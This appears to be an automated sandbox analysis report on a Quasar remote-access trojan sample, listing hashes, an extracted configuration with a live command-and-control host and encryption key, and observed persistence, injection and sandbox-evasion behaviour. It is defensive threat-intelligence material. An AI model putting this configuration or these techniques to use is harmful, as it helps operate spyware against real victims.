quasar | baa1d7de5d93fade36fa20d98d3c0466198a129bebd17302f5f5d8ae03779bda

General

Target

Uni.exe
Size

409KB
MD5

f8f7e612c70c0cfb734e0a8b47ecff5a
SHA1

55daed611f6a5d7f3e46b6ad1c1ef125fe7ab37d
SHA256

baa1d7de5d93fade36fa20d98d3c0466198a129bebd17302f5f5d8ae03779bda
SHA512

38300f170b9464098312f36ae2e43d510dfd7ec6508f29fd50dd6dd65c1ba64804e4d341eb31f49b816383e4cb80d8ae1bf4ab3de6829acc0ca4e9148c970233
SSDEEP

6144:zMu9p1kREG60oljWsIgingBbx7SxSphehObnD4xZEzLkf2HOZzkShh1jFJVY/:VpiREGJtsIgith5xKvkf2uZzDPjFc/

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

slave

C2

looking-memphis.gl.at.ply.gg:45119

Mutex

$Sxr-xwY9ZOTOHsQiE2cIYc

Attributes

encryption_key
BkqeT44kDiMZNIFpwpqf
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1664-1-0x00000000003B0000-0x000000000041C000-memory.dmp	family_quasar
C:\Windows\SysWOW64\SubDir\Client.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 3556 created 620 3556 powershell.EXE winlogon.exe
PID 1388 created 620 1388 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 3556 created 620	3556	powershell.EXE	winlogon.exe
PID 1388 created 620	1388	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 3 IoCs

Processes:

Client.exeinstall.exeinstall.exe

pid process

2676 Client.exe
3796 install.exe
4520 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

14 raw.githubusercontent.com
15 raw.githubusercontent.com
25 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ip-api.com

pid	process
2676	Client.exe
3796	install.exe
4520	install.exe

flow	ioc
14	raw.githubusercontent.com
15	raw.githubusercontent.com
25	raw.githubusercontent.com

flow	ioc
10	ip-api.com

Drops file in System32 directory 10 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exeUni.exesvchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\SysWOW64\SubDir\Client.exe	Uni.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\Client.exe	Uni.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 3556 set thread context of 4192	3556	powershell.EXE	dllhost.exe
PID 1388 set thread context of 4472	1388	powershell.EXE	dllhost.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

1080 schtasks.exe
3716 SCHTASKS.exe
856 schtasks.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

pid	process
1080	schtasks.exe
3716	SCHTASKS.exe
856	schtasks.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715324996"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE

Modifies registry class 7 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2e5a6068-4159-4af5	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exedllhost.exe

pid	process
3556	powershell.EXE
3556	powershell.EXE
1388	powershell.EXE
3556	powershell.EXE
1388	powershell.EXE
4192	dllhost.exe
4192	dllhost.exe
4192	dllhost.exe
4192	dllhost.exe
1388	powershell.EXE
4192	dllhost.exe
4192	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe
4472	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exepowershell.EXEClient.exepowershell.EXEdllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1664	Uni.exe
Token: SeDebugPrivilege	3556	powershell.EXE
Token: SeDebugPrivilege	2676	Client.exe
Token: SeDebugPrivilege	1388	powershell.EXE
Token: SeDebugPrivilege	3556	powershell.EXE
Token: SeDebugPrivilege	4192	dllhost.exe
Token: SeDebugPrivilege	1388	powershell.EXE
Token: SeDebugPrivilege	4472	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Client.exe

pid process

2676 Client.exe

pid	process
2676	Client.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exeClient.exepowershell.EXEdllhost.exelsass.exe

description	pid	process	target process
PID 1664 wrote to memory of 1080	1664	Uni.exe	schtasks.exe
PID 1664 wrote to memory of 1080	1664	Uni.exe	schtasks.exe
PID 1664 wrote to memory of 1080	1664	Uni.exe	schtasks.exe
PID 1664 wrote to memory of 2676	1664	Uni.exe	Client.exe
PID 1664 wrote to memory of 2676	1664	Uni.exe	Client.exe
PID 1664 wrote to memory of 2676	1664	Uni.exe	Client.exe
PID 1664 wrote to memory of 3796	1664	Uni.exe	install.exe
PID 1664 wrote to memory of 3796	1664	Uni.exe	install.exe
PID 1664 wrote to memory of 3796	1664	Uni.exe	install.exe
PID 1664 wrote to memory of 3716	1664	Uni.exe	SCHTASKS.exe
PID 1664 wrote to memory of 3716	1664	Uni.exe	SCHTASKS.exe
PID 1664 wrote to memory of 3716	1664	Uni.exe	SCHTASKS.exe
PID 2676 wrote to memory of 856	2676	Client.exe	schtasks.exe
PID 2676 wrote to memory of 856	2676	Client.exe	schtasks.exe
PID 2676 wrote to memory of 856	2676	Client.exe	schtasks.exe
PID 2676 wrote to memory of 4520	2676	Client.exe	install.exe
PID 2676 wrote to memory of 4520	2676	Client.exe	install.exe
PID 2676 wrote to memory of 4520	2676	Client.exe	install.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 3556 wrote to memory of 4192	3556	powershell.EXE	dllhost.exe
PID 4192 wrote to memory of 620	4192	dllhost.exe	winlogon.exe
PID 4192 wrote to memory of 680	4192	dllhost.exe	lsass.exe
PID 680 wrote to memory of 2972	680	lsass.exe	sysmon.exe
PID 4192 wrote to memory of 948	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1020	4192	dllhost.exe	dwm.exe
PID 4192 wrote to memory of 416	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1036	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1056	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1180	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1188	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1200	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1292	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1344	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1412	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1440	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1464	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1476	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1556	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1652	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1712	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1736	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1808	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1844	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1980	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1992	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2000	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 1864	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2132	4192	dllhost.exe	spoolsv.exe
PID 4192 wrote to memory of 2176	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2196	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2352	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2476	4192	dllhost.exe	sihost.exe
PID 4192 wrote to memory of 2488	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2600	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2628	4192	dllhost.exe	taskhostw.exe
PID 4192 wrote to memory of 2820	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2828	4192	dllhost.exe	svchost.exe
PID 4192 wrote to memory of 2920	4192	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:1020

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{c31d9ccd-0459-409c-9b49-69213042f27c}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4192

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{e1d290af-80b2-466d-8dea-5f7284fe8cac}
2⤵
